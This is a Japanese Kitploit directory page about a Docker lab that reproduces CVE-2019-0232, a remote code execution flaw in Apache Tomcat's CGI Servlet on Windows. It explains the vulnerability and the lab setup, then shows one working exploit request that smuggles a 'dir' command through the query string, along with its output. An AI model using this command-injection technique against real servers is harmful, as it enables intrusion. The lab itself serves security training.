Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Preproduce-CVE-2019-0232 — Dockerベースのラボ環境で、Windows上のApache Tomcat CGI Servletにおけるリモートコード実行の脆弱性CVE-2019-0232を再現し、悪用例を提供します。 | Kitploit
ツール/GitHubGitHub/luongchivi/preproduce-cve-2019-0232
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubluongchivi/preproduce-cve-2019-0232

Preproduce-CVE-2019-0232

Dockerベースのラボ環境で、Windows上のApache Tomcat CGI Servletにおけるリモートコード実行の脆弱性CVE-2019-0232を再現し、悪用例を提供します。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-0232 - Apache Tomcat CGI Servlet Remote Code Execution

このリポジトリは、Windows 上の Apache Tomcat 9.0.17 における CVE-2019-0232 脆弱性を再現するための Docker ベースのラボ環境を提供します。

脆弱性概要

CVE-2019-0232 は、Windows 上で動作する Apache Tomcat CGI Servlet におけるリモートコード実行の脆弱性です。この問題は、enableCmdLineArguments パラメータが true に設定されている場合のコマンドライン引数の不適切な処理に起因します。攻撃者はクエリ文字列を介して CGI スクリプトに任意の引数を渡すことができ、システムコマンドの実行につながります。

  • 影響を受けるバージョン: Apache Tomcat 9.0.0.M1 ~ 9.0.17
  • 修正されたバージョン: 9.0.18 以降
  • 必要な条件:
    • Windows オペレーティングシステム
    • CGI サーブレット設定で enableCmdLineArguments=true
    • CGI サーブレットが有効で、URL パターンにマッピングされていること

ラボ環境

ディレクトリ構造

root@kitploit:~
tomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
	├── apache-tomcat-9.0.17-windows-x64.zip
    └── apache-tomcat-9.0.17
        ├── conf
        │   └── context.xml              ← (privileged="true")
        └── webapps
            └── ROOT
                └── WEB-INF
                    ├── web.xml           ← (CGI 設定)
                    └── cgi-bin
                        └── test.bat      ← (.bat スクリプト)

設定ファイル

  • context.xml: Web アプリケーションが CGI サーブレットを使用できるように privileged="true" を設定します。
  • web.xml: enableCmdLineArguments=true で CGI サーブレットを定義し、/cgi-bin/* にマッピングします。
  • test.bat: ウェルカムメッセージを返すシンプルなバッチスクリプトです。

はじめに

前提条件

  • Docker(Windows コンテナモード)
  • Docker Compose

ビルドと実行

root@kitploit:~
docker-compose build --no-cache
docker-compose up -d

エクスプロイト

root@kitploit:~
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"

Welcome to CGI Test Page
 Volume in drive C has no label.
 Volume Serial Number is 3E70-7C38

 Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin

07/12/2026  11:45 AM    <DIR>          .
07/12/2026  11:45 AM    <DIR>          ..
07/12/2026  12:25 PM                78 test.bat
               1 File(s)             78 bytes
               2 Dir(s)  136,027,971,584 bytes free
ツールをダウンロード